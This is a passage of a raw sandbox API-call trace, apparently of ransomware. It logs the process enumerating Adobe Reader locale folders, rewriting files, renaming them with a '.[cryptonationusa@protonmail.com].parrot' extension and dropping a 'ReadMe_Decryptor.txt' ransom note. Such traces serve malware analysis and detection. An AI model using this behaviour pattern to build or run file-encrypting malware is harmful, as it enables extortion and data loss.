hHeap=0x5b0000) returned 1 [0257.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0257.799] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.799] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0257.800] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.800] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe8, lpOverlapped=0x0) returned 1 [0257.801] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.801] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0257.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0257.807] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0257.807] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25acd520, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x25acd520, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.808] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x25aa73c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x96b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0257.809] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.809] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.810] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.810] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0257.811] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.811] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Spelling.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\spelling.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Spelling.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\spelling.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0257.831] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.831] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.846] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.846] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0257.847] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.848] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\updater.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\updater.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\updater.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\updater.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0257.855] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.855] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.856] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.856] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7200, lpOverlapped=0x0) returned 1 [0257.857] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.858] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\WebLink.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\weblink.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\WebLink.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\weblink.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0257.868] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0257.868] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25b3f940, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x25b3f940, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.868] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x252c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xb128, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0257.869] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0257.871] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0257.871] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.871] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0257.871] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0257.871] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0257.871] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.872] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.873] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.873] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb200, lpOverlapped=0x0) returned 1 [0257.875] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.876] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\accessibility.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\accessibility.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\accessibility.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\accessibility.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0257.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0257.882] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.882] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.965] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.965] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6a200, lpOverlapped=0x0) returned 1 [0257.973] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x32ae588 [0257.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0257.975] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40033) returned 0x3350048 [0257.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0257.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80033) returned 0x2b30020 [0257.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0257.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0257.987] GetLastError () returned 0x0 [0257.987] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0257.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0257.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0257.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0257.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0257.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0257.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3326648 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x33295e0 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x332dd30 [0257.989] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33295e0 | out: hHeap=0x5b0000) returned 1 [0257.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x329e548 [0257.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332dd30 | out: hHeap=0x5b0000) returned 1 [0257.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3326648 [0257.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0257.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x329e548 [0257.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0257.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3350048 [0257.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0257.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x329e548 [0257.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0257.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3350048 [0257.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0257.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x33f0008 [0257.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0257.998] WriteFile (in: hFile=0x1b0, lpBuffer=0x33f0020*, nNumberOfBytesToWrite=0x6a328, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x33f0020*, lpNumberOfBytesWritten=0x18e8f4*=0x6a328, lpOverlapped=0x0) returned 1 [0258.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33f0008 | out: hHeap=0x5b0000) returned 1 [0258.123] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0258.123] CloseHandle (hObject=0x1b0) returned 1 [0258.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0258.124] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x3322178 [0258.124] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0258.124] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Acroform.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\acroform.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Acroform.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\acroform.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0258.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0258.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0258.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0258.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0258.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0258.133] GetFileType (hFile=0x1b0) returned 0x1 [0258.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0258.146] GetFileSize (in: hFile=0x1b0, lpFileSizeHigh=0x18e970 | out: lpFileSizeHigh=0x18e970*=0x0) returned 0x1a00 [0258.146] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b18, nNumberOfBytesToLockHigh=0x0) returned 1 [0258.146] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 